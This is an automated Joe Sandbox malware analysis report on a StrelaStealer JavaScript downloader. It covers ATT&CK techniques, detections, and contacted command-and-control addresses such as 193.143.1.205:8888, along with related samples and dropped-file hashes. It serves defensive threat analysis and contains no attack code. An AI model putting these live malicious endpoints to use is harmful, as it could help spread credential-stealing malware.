Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
244312574730704684.js	7%	Virustotal		Browse
244312574730704684.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/tce	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.18	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1434150723.000001FE088D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1434150723.000001FE08931000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1434150723.000001FE08904000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/b	net.exe, 00000007.00000002.1434150723.000001FE08904000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/tce	net.exe, 00000007.00000002.1434150723.000001FE088D8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1433746662.0000020DCA060000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588868
Start date and time:	2025-01-11 06:29:38 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	244312574730704684.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 54.224.241.105, 18.213.11.84, 34.237.241.83, 50.16.47.176, 172.64.41.3, 162.159.61.3, 23.209.209.135, 217.20.57.18, 184.28.90.27, 2.22.242.123, 2.22.242.11, 2.16.168.105, 2.16.168.107, 23.200.0.33, 23.200.0.21, 13.107.246.45, 52.6.155.20, 4.245.163.56, 96.17.64.171
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, otelrules.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:30:34	API Interceptor	23x Sleep call for process: powershell.exe modified
00:30:37	API Interceptor	1x Sleep call for process: net.exe modified
00:30:38	API Interceptor	2x Sleep call for process: svchost.exe modified
00:30:45	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	313992165580428308.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	247624346306918832.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	225803042163626345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	522327491130758262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1574285771252416900.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
	W1POMvaEjU.exe	Get hash	malicious	FormBook	Browse	217.20.57.18
	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	313992165580428308.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	247624346306918832.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2272523722022218526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	225803042163626345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	522327491130758262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4932192826995345
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1Zta8:cJhXC9lHmutpJyiRDeJ/aUKrDgnmm
MD5:	A934A0A325F53DE09FE790C88D0C3085
SHA1:	05D777E1D1C0A953369251D812C19BE187EFC69A
SHA-256:	108A1D47C00D597A9351E513C61055154AD848BB32525041965372926A93EBC1
SHA-512:	4DF314C78FB70AEB7D730F15BBDF377B3E790BEF5D492BB6B5E0616BDE0D1AE610E095F725CCBFEFB4E6ED0AAD268670568DB6DE589CF8DCD233394E95005809
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x91e8c7fd, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7217129986504061
Encrypted:	false
SSDEEP:	1536:0HMSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSP:7azaNvFv8V2UW/DLzN/w4wZi
MD5:	4217F649E391B5286D7649F1849F294A
SHA1:	7FF6FCD18B05C353D97DC56B301A457645A9B2C2
SHA-256:	C7B49258E1BC325ADB8B4F058E2A9115118646D079E76899977AB17AD724426A
SHA-512:	7CEFB86906F1701AA2EFC918B98879A6F7636729BFFE4DC8270E22D6747968B4C1979BEC888DBBA51AA13B437FA0B624DC4BAE3E8C898A9B79356DAA79335F73
Malicious:	false
Preview:	....... ...............X\...;...{......................p.D..........{}.'....}s.h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{......................................'....}......................'....}s..........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Award BIOS Logo, 136 x 84
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0799540089121198
Encrypted:	false
SSDEEP:	3:yUXKYe1kuRDps6/fgsCrZClW/t/A1rYGl/lall+SHY/Xl+/rQLve:jKz11pxfgs3GQAAS4M
MD5:	768ED884A5BEE1781C37A42ED7A34705
SHA1:	A8A618FE62B57E0B9DB2F14A384A90A8ACAEFB4D
SHA-256:	1DBBB3260AADE4B0345638561340DB78C6C3C56424DC022B88471A2F6F6100DF
SHA-512:	DAF17350445D1420ED8B7877976751D35282056A74DA0D2170AA2985D6649FDE8259BD71D4DBAA18ECACE429FF95C598AEBC93EA1090512A2B34CB3172DFB655
Malicious:	false
Preview:	........................................;...{..'....}s......{}..............{}......{}.vv_Q.....{}.....................'....}s.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.094477188778482
Encrypted:	false
SSDEEP:	6:iOh9q2PqLTwi2nKuAl9OmbnIFUtMdMYZmwCdMAkwOqLTwi2nKuAl9OmbjLJ:7h9v8wZHAahFUtMdf/CdN5TwZHAaSJ
MD5:	598DADB482454B95F2836C49FAD01E4F
SHA1:	694AC9FCF3CF4B8612B5704FB022CA79908E07B2
SHA-256:	3485F5B5C5C66D2AF333AE68B2961B200045FCC2185B48110F1D0A0417619514
SHA-512:	3A1BB49C0594F3FC771712262C925C881945536423D4020E6FACD47DEF7570C71D24D51023FF3CD1A09EC1805A694ECBCF146E58DE675868806EF2790C56C6F4
Malicious:	false
Preview:	2025/01/11-00:30:37.997 1f10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:30:38.000 1f10 Recovering log #3.2025/01/11-00:30:38.000 1f10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.094477188778482
Encrypted:	false
SSDEEP:	6:iOh9q2PqLTwi2nKuAl9OmbnIFUtMdMYZmwCdMAkwOqLTwi2nKuAl9OmbjLJ:7h9v8wZHAahFUtMdf/CdN5TwZHAaSJ
MD5:	598DADB482454B95F2836C49FAD01E4F
SHA1:	694AC9FCF3CF4B8612B5704FB022CA79908E07B2
SHA-256:	3485F5B5C5C66D2AF333AE68B2961B200045FCC2185B48110F1D0A0417619514
SHA-512:	3A1BB49C0594F3FC771712262C925C881945536423D4020E6FACD47DEF7570C71D24D51023FF3CD1A09EC1805A694ECBCF146E58DE675868806EF2790C56C6F4
Malicious:	false
Preview:	2025/01/11-00:30:37.997 1f10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:30:38.000 1f10 Recovering log #3.2025/01/11-00:30:38.000 1f10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.135047596901595
Encrypted:	false
SSDEEP:	6:iO+JdAVq2PqLTwi2nKuAl9Ombzo2jMGIFUtMlAgZmwCKAIkwOqLTwi2nKuAl9OmT:7+MVv8wZHAa8uFUtMag/CbI5TwZHAa8z
MD5:	1D4EA2243379DBEFFECB32C3AAB30A33
SHA1:	76BB4D03A3639BF3429E90C66BA760DDEC5357F9
SHA-256:	555BC474ADEF53A52AFFE2061CBF0CC54481EE0AAE1E922EA17A30518C42D564
SHA-512:	67F7F52AB6ABFCF1D8AFE094786FC6DC7E8FF92F90E002FA90D0EF2ECD05DC6EBCBEA8B5ECAAAB251FCA918D5A7C1CA10AE70AD5BEFA7CC9035EA91C1C46B595
Malicious:	false
Preview:	2025/01/11-00:30:38.049 1b44 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:30:38.050 1b44 Recovering log #3.2025/01/11-00:30:38.051 1b44 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.135047596901595
Encrypted:	false
SSDEEP:	6:iO+JdAVq2PqLTwi2nKuAl9Ombzo2jMGIFUtMlAgZmwCKAIkwOqLTwi2nKuAl9OmT:7+MVv8wZHAa8uFUtMag/CbI5TwZHAa8z
MD5:	1D4EA2243379DBEFFECB32C3AAB30A33
SHA1:	76BB4D03A3639BF3429E90C66BA760DDEC5357F9
SHA-256:	555BC474ADEF53A52AFFE2061CBF0CC54481EE0AAE1E922EA17A30518C42D564
SHA-512:	67F7F52AB6ABFCF1D8AFE094786FC6DC7E8FF92F90E002FA90D0EF2ECD05DC6EBCBEA8B5ECAAAB251FCA918D5A7C1CA10AE70AD5BEFA7CC9035EA91C1C46B595
Malicious:	false
Preview:	2025/01/11-00:30:38.049 1b44 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:30:38.050 1b44 Recovering log #3.2025/01/11-00:30:38.051 1b44 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\310a8493-f110-4347-b728-165691c8493d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.945754554938417
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqesBdOg2H2gcaq3QYiub5P7E4T3y:Y2sRdsWdMH2L3QYhbt7nby
MD5:	ADC16EC0963C53791B100E51E08E7184
SHA1:	5F8EA041310071E2FC1BB6D4FC71AE1F9AD83F69
SHA-256:	CFB81A1D4CC3CA9B23C918DE8F83C81A06E9E837069AF2CA44DF2173C8F02A97
SHA-512:	1642C5168679B29CA0E69E420E2A32913FAAE6D82CCD03A1DAE4F464D9FB0C6905AFC10137246ABFCDB6CDD8CE32FC39A3E0ADA8C4BCBE9A9E040E1F40F56541
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381133449669351","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":124194},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.945754554938417
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqesBdOg2H2gcaq3QYiub5P7E4T3y:Y2sRdsWdMH2L3QYhbt7nby
MD5:	ADC16EC0963C53791B100E51E08E7184
SHA1:	5F8EA041310071E2FC1BB6D4FC71AE1F9AD83F69
SHA-256:	CFB81A1D4CC3CA9B23C918DE8F83C81A06E9E837069AF2CA44DF2173C8F02A97
SHA-512:	1642C5168679B29CA0E69E420E2A32913FAAE6D82CCD03A1DAE4F464D9FB0C6905AFC10137246ABFCDB6CDD8CE32FC39A3E0ADA8C4BCBE9A9E040E1F40F56541
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381133449669351","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":124194},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.215762810997421
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068OzNLWy:1CDLCmPj8j0/8qKgwPHYPx8xemT8OzNx
MD5:	4B28F232CB84FCD541DE88504FF86E91
SHA1:	53ECF0F5FF044DEE47CEB269C9358C6610BB72F7
SHA-256:	01B426D3E9C71DEC182B3AD28E9FA8632CA1D3E77708B5B8AA77656F614CA467
SHA-512:	90A10E297A035057C8AD7FB8EEBE64636BA3CDAB953D9D413E2DE5928F388C1AA159008555082FCBE44F665024405F12DE04F3A4E70DDD3CF0ABD557A4A8A128
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.165977597090109
Encrypted:	false
SSDEEP:	6:iO+4cAVq2PqLTwi2nKuAl9OmbzNMxIFUtMeUdAgZmwCeUdAIkwOqLTwi2nKuAl9c:7+4xVv8wZHAa8jFUtMLCg/CLCI5TwZHP
MD5:	39505FB1E67A1EE57CC22FB00ADFF003
SHA1:	8220506C7C0750521628B4D5123E36CA2C09490B
SHA-256:	868C214B2B0F1788AF4A049288AF9323E0AFF676B460B03874CE2F77C6D9D76D
SHA-512:	2D67E2C43BDD4596042E22484E15CAC4EC62DA30B4D2181E9634B8D22ED8E56F4F6B949AF1A31B438615F465BC116246C2ABDB3A3A69E22C1991B04FE6EC19F5
Malicious:	false
Preview:	2025/01/11-00:30:38.261 1b44 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:30:38.263 1b44 Recovering log #3.2025/01/11-00:30:38.263 1b44 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.165977597090109
Encrypted:	false
SSDEEP:	6:iO+4cAVq2PqLTwi2nKuAl9OmbzNMxIFUtMeUdAgZmwCeUdAIkwOqLTwi2nKuAl9c:7+4xVv8wZHAa8jFUtMLCg/CLCI5TwZHP
MD5:	39505FB1E67A1EE57CC22FB00ADFF003
SHA1:	8220506C7C0750521628B4D5123E36CA2C09490B
SHA-256:	868C214B2B0F1788AF4A049288AF9323E0AFF676B460B03874CE2F77C6D9D76D
SHA-512:	2D67E2C43BDD4596042E22484E15CAC4EC62DA30B4D2181E9634B8D22ED8E56F4F6B949AF1A31B438615F465BC116246C2ABDB3A3A69E22C1991B04FE6EC19F5
Malicious:	false
Preview:	2025/01/11-00:30:38.261 1b44 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:30:38.263 1b44 Recovering log #3.2025/01/11-00:30:38.263 1b44 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 12, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 12
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438024604712044
Encrypted:	false
SSDEEP:	384:ieaci5GViBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:dZurVgazUpUTTGt
MD5:	7F27EEC6D6760D09FD95B89E6E488F43
SHA1:	F8513083770AABDF80689F414043E47B73EF786B
SHA-256:	33286D5CA3045874EE7BBAB70FBDF75A67E4D39759C24F40CEB81EC99CD076BB
SHA-512:	8C3D68EDA2776C05B40F88D10FAC875E499540239F78E61DEA7715AC23E2B4D19458A67D4736C1DAF4FD7646066503D7410A4ED224E562742FE4928B3F373268
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.215727517211249
Encrypted:	false
SSDEEP:	24:7+tp936wKkfqL0MzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmfs:7MpxWkfq/mFTIF3XmHjBoGGR+jMz+LhU
MD5:	0E9F1A50C8F71E391D7E00D6BF66840A
SHA1:	A5D61AD7931A675D7C5805A795E3BA376184CA68
SHA-256:	81F75B362D84B850F5067B7C96933386EE86D4E80A9FF082097B3BF3021A5205
SHA-512:	B16BD3FC011987FCB44A998501CE54C2374BDEA24B85B2369C810E4AFD84E2736798254893005DFEF367578AE7155EFB0B609889A98384FCA17512C6E2BE2617
Malicious:	false
Preview:	.... .c......"\.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
